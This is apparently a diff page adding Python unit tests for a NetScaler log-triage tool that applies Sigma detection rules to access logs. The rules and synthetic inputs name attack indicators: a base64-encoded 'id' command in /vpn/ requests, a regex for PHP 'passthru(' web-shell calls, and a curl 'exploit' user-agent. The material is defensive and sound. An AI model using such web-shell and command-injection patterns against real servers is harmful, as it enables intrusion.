"source_id": "REF-1",
|
||||
"source": "https://example.org/advisory",
|
||||
}
|
||||
]
|
||||
}
|
||||
scan([("ADC", logs)], root / "out", [config], defaults=False)
|
||||
events = [
|
||||
json.loads(line) for line in (root / "out/findings.jsonl").read_text().splitlines()
|
||||
]
|
||||
self.assertEqual(len(events), 1)
|
||||
self.assertEqual(events[0]["rules"], ["decoded-id"])
|
||||
self.assertEqual(events[0]["rule_details"], config["patterns"])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,132 @@
|
||||
import hashlib
|
||||
import io
|
||||
import json
|
||||
import tempfile
|
||||
import unittest
|
||||
from contextlib import redirect_stderr, redirect_stdout
|
||||
from importlib.resources import files
|
||||
from pathlib import Path
|
||||
from unittest.mock import patch
|
||||
|
||||
from netscaler_triage.cli import main
|
||||
from netscaler_triage.engine import scan
|
||||
from netscaler_triage.matching import Matcher, load_config, public_config
|
||||
from netscaler_triage.sigma_rules import SigmaEvaluationLimit, SigmaMatcher
|
||||
|
||||
RULE = """title: Decoded command with request context
|
||||
id: 283224da-7d4b-4436-a564-bf16e14b2536
|
||||
logsource:
|
||||
product: netscaler
|
||||
service: http_access
|
||||
detection:
|
||||
selection:
|
||||
uri|startswith: /vpn/
|
||||
raw|re: '^id$'
|
||||
excluded:
|
||||
uri|endswith: /health?x=aWQ%3D
|
||||
condition: selection and not excluded
|
||||
falsepositives:
|
||||
- Authorized diagnostic requests require analyst review.
|
||||
level: medium
|
||||
"""
|
||||
|
||||
|
||||
def write_requests(logs: Path) -> None:
|
||||
logs.mkdir()
|
||||
lines = [
|
||||
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "
|
||||
f'"GET {uri} HTTP/1.1" 403 0 "-" "synthetic-agent"\n'
|
||||
for uri in ("/vpn/test?x=aWQ%3D", "/vpn/health?x=aWQ%3D", "/other?x=aWQ%3D")
|
||||
]
|
||||
(logs / "httpaccess.log").write_text("".join(lines), encoding="utf-8")
|
||||
|
||||
|
||||
def findings(output: Path) -> list[dict[str, object]]:
|
||||
return [json.loads(line) for line in (output / "findings.jsonl").read_text().splitlines()]
|
||||
|
||||
|
||||
class SigmaIntegrationTests(unittest.TestCase):
|
||||
def test_cli_yaml_structured_context_decoded_and_negation(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as temporary:
|
||||
root = Path(temporary).resolve()
|
||||
logs, output, rules = root / "logs", root / "results", root / "rules.yml"
|
||||
write_requests(logs)
|
||||
rules.write_text(RULE, encoding="utf-8")
|
||||
with redirect_stdout(io.StringIO()), redirect_stderr(io.StringIO()):
|
||||
code = main(
|
||||
[
|
||||
"scan",
|
||||
"--input",
|
||||
f"ADC={logs}",
|
||||
"--output",
|
||||
str(output),
|
||||
"--config",
|
||||
str(rules),
|
||||
"--no-default-patterns",
|
||||
]
|
||||
)
|
||||
self.assertEqual(code, 0)
|
||||
rows = findings(output)
|
||||
matches = [row for row in rows if row.get("rules")]
|
||||
self.assertEqual(len(matches), 1)
|
||||
self.assertEqual(matches[0]["line"], 1)
|
||||
details = matches[0]["rule_details"]
|
||||
self.assertIsInstance(details, list)
|
||||
assert isinstance(details, list)
|
||||
self.assertTrue(any("decoded:" in str(detail["basis"]) for detail in details))
|
||||
self.assertIn("sigma_decoded_views", matches[0])
|
||||
self.assertTrue(all(detail["source"] == "rules.yml" for detail in details))
|
||||
views, layers = matches[0]["sigma_decoded_views"], matches[0]["decoding"]
|
||||
assert isinstance(views, list) and isinstance(layers, list)
|
||||
for detail in details:
|
||||
for basis in detail["basis"]:
|
||||
if basis.startswith("decoded:"):
|
||||
index = int(basis.split(":", 1)[1])
|
||||
self.assertEqual(layers[views[index]]["output"], "id")
|
||||
|
||||
def test_decoded_sha256_is_a_structured_sigma_field(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as temporary:
|
||||
root = Path(temporary).resolve()
|
||||
logs, output, rules = root / "logs", root / "results", root / "hash.yml"
|
||||
write_requests(logs)
|
||||
digest = hashlib.sha256(b"id").hexdigest()
|
||||
rules.write_text(
|
||||
"title: Synthetic decoded hash\nlogsource: {product: netscaler}\n"
|
||||
f"detection:\n selection:\n SHA256: '{digest}'\n condition: selection\n",
|
||||
encoding="utf-8",
|
||||
)
|
||||
scan([("ADC", logs)], output, [load_config(rules)], defaults=False)
|
||||
matched = [row for row in findings(output) if row.get("rules")]
|
||||
self.assertEqual(len(matched), 3)
|
||||
self.assertTrue(all("Synthetic decoded hash" in str(row["rules"]) for row in matched))
|
||||
|
||||
def test_public_pack_parses_and_loads_by_default(self) -> None:
|
||||
content = files("netscaler_triage").joinpath("data", "public_sigma.yml").read_text()
|
||||
pack = SigmaMatcher.from_yaml(content, source="public_sigma.yml")
|
||||
self.assertGreaterEqual(len(pack.rules), 22)
|
||||
self.assertEqual(pack.indicators, public_config()["indicators"])
|
||||
matcher = Matcher([])
|
||||
hits = matcher.search_sigma({"raw": "<?php passthru('synthetic');", "kind": "http_access"})
|
||||
self.assertTrue(hits)
|
||||
self.assertTrue(all(hit["source"] == "public_sigma.yml" for hit in hits))
|
||||
|
||||
def test_sigma_limit_marks_partial_and_continues(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as temporary:
|
||||
root = Path(temporary).resolve()
|
||||
logs, output = root / "logs", root / "results"
|
||||
logs.mkdir()
|
||||
(logs / "messages").write_text("first\nsecond\n", encoding="utf-8")
|
||||
with patch.object(
|
||||
Matcher, "search_sigma", side_effect=[SigmaEvaluationLimit("limit"), []]
|
||||
):
|
||||
result = scan([("ADC", logs)], output, [], defaults=False, extract_all=True)
|
||||
self.assertEqual(result["status"], "partial")
|
||||
self.assertEqual(result["counts"]["records"], 2)
|
||||
self.assertEqual(result["counts"]["matching_errors"], 1)
|
||||
rows = findings(output)
|
||||
self.assertTrue(rows[0]["analysis_errors"])
|
||||
self.assertEqual(rows[1]["raw"], "second")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,173 @@
|
||||
import unittest
|
||||
|
||||
from netscaler_triage.sigma_rules import SigmaEvaluationLimit, SigmaMatcher, UnsupportedSigma
|
||||
|
||||
|
||||
def rule(detection: str, service: str = "") -> str:
|
||||
return (
|
||||
"title: Local test\nlogsource:\n product: netscaler\n"
|
||||
+ service
|
||||
+ "detection:\n"
|
||||
+ detection
|
||||
)
|
||||
|
||||
|
||||
class SigmaTests(unittest.TestCase):
|
||||
def test_catalog_not_repeated_in_hit(self) -> None:
|
||||
text = rule(" s: [abc]\n condition: s\n")
|
||||
text += "indicators:\n - type: ipv4\n value: 192.0.2.1\n status: reference_only\n"
|
||||
text += "indicator_status: reference_only\n"
|
||||
matcher = SigmaMatcher.from_yaml(text)
|
||||
self.assertEqual(matcher.indicators[0]["value"], "192.0.2.1")
|
||||
hit = matcher.search_with_details({"raw": "abc"})[0]
|
||||
self.assertEqual(hit["custom_attributes"], {"indicator_status": "reference_only"})
|
||||
with self.assertRaises(UnsupportedSigma):
|
||||
SigmaMatcher.from_yaml(text.replace("value: 192.0.2.1", "value: 123"))
|
||||
|
||||
def test_evaluation_bounds(self) -> None:
|
||||
matcher = SigmaMatcher.from_yaml(rule(" s: [abc]\n condition: s\n"))
|
||||
with self.assertRaises(SigmaEvaluationLimit):
|
||||
matcher.search({"raw": "x" * 1048577})
|
||||
with self.assertRaises(SigmaEvaluationLimit):
|
||||
matcher.search({"raw": "abc"}, ["abc"] * 65)
|
||||
with self.assertRaises(SigmaEvaluationLimit):
|
||||
matcher.search({"raw": "abc"}, ["x" * 1048577])
|
||||
|
||||
def test_boolean_and_keywords(self) -> None:
|
||||
matcher = SigmaMatcher.from_yaml(
|
||||
rule(
|
||||
" selection: [alpha, beta]\n exclude: [benign]\n"
|
||||
" condition: selection and not exclude\n"
|
||||
)
|
||||
)
|
||||
self.assertTrue(matcher.search({"raw": "prefix ALPHA suffix"}))
|
||||
self.assertFalse(matcher.search({"raw": "alpha benign"}))
|
||||
self.assertFalse(matcher.search({"raw": "other"}))
|
||||
|
||||
def test_modifiers_fields_and_all(self) -> None:
|
||||
matcher = SigmaMatcher.from_yaml(
|
||||
rule(
|
||||
" s:\n uri|startswith: /vpn/\n user_agent|contains|all: [curl, exploit]\n"
|
||||
" source_ip|endswith: '.1'\n condition: s\n"
|
||||
)
|
||||
)
|
||||
event = {"fields": {"uri": "/vpn/a", "user_agent": "CURL exploit", "src": "192.0.2.1"}}
|
||||
self.assertTrue(matcher.search(event))
|
||||
self.assertFalse(
|
||||
matcher.search({"fields": {"uri": "/vpn/a", "user_agent": "curl", "src": "192.0.2.1"}})
|
||||
)
|
||||
|
||||
def test_selectors_and_wildcard_escaping(self) -> None:
|
||||
matcher = SigmaMatcher.from_yaml(
|
||||
rule(
|
||||
" sel_a: {uri: '/a*'}\n sel_b: {user_agent: 'agent?'}\n"
|
||||
" condition: all of sel_*\n"
|
||||
)
|
||||
)
|
||||
self.assertTrue(matcher.search({"uri": "/abcdef", "user_agent": "agentX"}))
|
||||
self.assertFalse(matcher.search({"uri": "/abcdef", "user_agent": "agentXY"}))
|
||||
matcher = SigmaMatcher.from_yaml(
|
||||
rule(" sel_a: {uri: '/literal\\*'}\n sel_b: [other]\n condition: 1 of sel_*\n")
|
||||
)
|
||||
self.assertTrue(matcher.search({"uri": "/literal*"}))
|
||||
self.assertFalse(matcher.search({"uri": "/literalanything"}))
|
||||
|
||||
def test_regex_service_and_decoded_basis(self) -> None:
|
||||
matcher = SigmaMatcher.from_yaml(
|
||||
rule(
|
||||
" s:\n raw|re: '(?i)passthru\\s*\\('\n condition: s\n",
|
||||
" service: http_access\n",
|
||||
),
|
||||
source="test.yml",
|
||||
)
|
||||
hits = matcher.search_with_details(
|
||||
{"raw": "encoded bytes", "kind": "http_access"}, ["passthru('id')"]
|
||||
)
|
||||
self.assertEqual(hits[0]["basis"], ["decoded:0"])
|
||||
self.assertEqual(hits[0]["source"], "test.yml")
|
||||
self.assertFalse(matcher.search({"raw": "passthru('id')", "kind": "syslog"}))
|
||||
|
||||
def test_regex_case_is_not_string_case(self) -> None:
|
||||
matcher = SigmaMatcher.from_yaml(rule(" s: {raw|re: Alpha}\n condition: s\n"))
|
||||
self.assertTrue(matcher.search({"raw": "Alpha"}))
|
||||
self.assertFalse(matcher.search({"raw": "alpha"}))
|
||||
|
||||
def test_structured_only_match_is_not_attributed_to_decoding(self) -> None:
|
||||
matcher = SigmaMatcher.from_yaml(rule(" s: {SHA256: [abc, def]}\n condition: s\n"))
|
||||
hits = matcher.search_with_details({"sha256": ["def"], "raw": "original"}, ["decoded"])
|
||||
self.assertEqual(hits[0]["basis"], ["raw"])
|
||||
|
||||
def test_null_numeric_and_missing_fields(self) -> None:
|
||||
matcher = SigmaMatcher.from_yaml(rule(" s: {status: 200, absent: null}\n condition: s\n"))
|
||||
self.assertTrue(matcher.search({"status": 200}))
|
||||
self.assertFalse(matcher.search({"status": "200"}))
|
||||
self.assertFalse(matcher.search({"status": 200, "absent": "value"}))
|
||||
|
||||
def test_numeric_and_boolean_lists_preserve_types(self) -> None:
|
||||
numeric = SigmaMatcher.from_yaml(rule(" s: {status: 403}\n condition: s\n"))
|
||||
self.assertTrue(numeric.search({"status": [200, 403]}))
|
||||
self.assertFalse(numeric.search({"status": ["403", True]}))
|
||||
boolean = SigmaMatcher.from_yaml(rule(" s: {enabled: true}\n condition: s\n"))
|
||||
self.assertTrue(boolean.search({"enabled": [False, True]}))
|
||||
self.assertFalse(boolean.search({"enabled": [0, 1, "true"]}))
|
||||
|
||||
def test_limits_cannot_be_skipped_by_service_or_short_circuit(self) -> None:
|
||||
matcher = SigmaMatcher.from_yaml(
|
||||
rule(" s: {status: 200, uri: '*'}\n condition: s\n", " service: http_access\n")
|
||||
)
|
||||
for event in (
|
||||
{"kind": "syslog", "raw": "x" * 1048577},
|
||||
{"kind": "http_access", "status": 404, "uri": ["x" * 1048577]},
|
||||
):
|
||||
with self.subTest(kind=event["kind"]), self.assertRaises(SigmaEvaluationLimit):
|
||||
matcher.search(event)
|
||||
with self.assertRaises(SigmaEvaluationLimit):
|
||||
matcher.search({"kind": "syslog"}, ["x" * 1048577])
|
||||
|
||||
def test_unused_metadata_is_not_traversed_and_used_lists_are_bounded(self) -> None:
|
||||
matcher = SigmaMatcher.from_yaml(rule(" s: {status: 200}\n condition: s\n"))
|
||||
self.assertTrue(matcher.search({"status": 200, "unrelated": ["x" * 1048577]}))
|
||||
with self.assertRaises(SigmaEvaluationLimit):
|
||||
matcher.search({"status": [200] * 10001})
|
||||
|
||||
def test_decoded_views_preserve_positive_and_negative_structured_context(self) -> None:
|
||||
matcher = SigmaMatcher.from_yaml(
|
||||
rule(
|
||||
" s: {raw|contains: suspicious, uri|startswith: /vpn/}\n"
|
||||
" excluded: {source_ip: '192.0.2.5'}\n"
|
||||
" condition: s and not excluded\n"
|
||||
)
|
||||
)
|
||||
event = {"raw": "encoded", "uri": "/vpn/check", "source_ip": "192.0.2.6"}
|
||||
hits = matcher.search_with_details(event, ["suspicious"])
|
||||
self.assertEqual(hits[0]["basis"], ["decoded:0"])
|
||||
self.assertFalse(matcher.search({**event, "source_ip": "192.0.2.5"}, ["suspicious"]))
|
||||
self.assertFalse(matcher.search({**event, "uri": "/health"}, ["suspicious"]))
|
||||
|
||||
def test_explicitly_unsupported(self) -> None:
|
||||
for modifier in ("base64", "cidr", "exists", "fieldref", "cased"):
|
||||
with self.subTest(modifier=modifier), self.assertRaises((UnsupportedSigma, ValueError)):
|
||||
SigmaMatcher.from_yaml(rule(f" s:\n raw|{modifier}: abc\n condition: s\n"))
|
||||
with self.assertRaises(UnsupportedSigma):
|
||||
SigmaMatcher.from_yaml(rule(" s: [abc]\n condition: s\n", " service: windows\n"))
|
||||
with self.assertRaises(UnsupportedSigma):
|
||||
SigmaMatcher.from_yaml(
|
||||
rule(" s: [abc]\n condition: s\n").replace("netscaler", "windows")
|
||||
)
|
||||
with self.assertRaises(UnsupportedSigma):
|
||||
SigmaMatcher.from_yaml("title: Unsupported\ncorrelation: {type: event_count}\n")
|
||||
with self.assertRaises(UnsupportedSigma):
|
||||
SigmaMatcher.from_yaml(rule(" s: &selector [abc]\n condition: s\n"))
|
||||
with self.assertRaises(UnsupportedSigma):
|
||||
SigmaMatcher.from_yaml(rule(" s: [abc]\n s: [def]\n condition: s\n"))
|
||||
|
||||
def test_timeout(self) -> None:
|
||||
matcher = SigmaMatcher.from_yaml(
|
||||
rule(" s: {raw|re: '(a+)+$'}\n condition: s\n"), timeout=0.00001
|
||||
)
|
||||
with self.assertRaises(TimeoutError):
|
||||
matcher.search({"raw": "a" * 50000 + "!"})
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
Reference in new issue
Block a user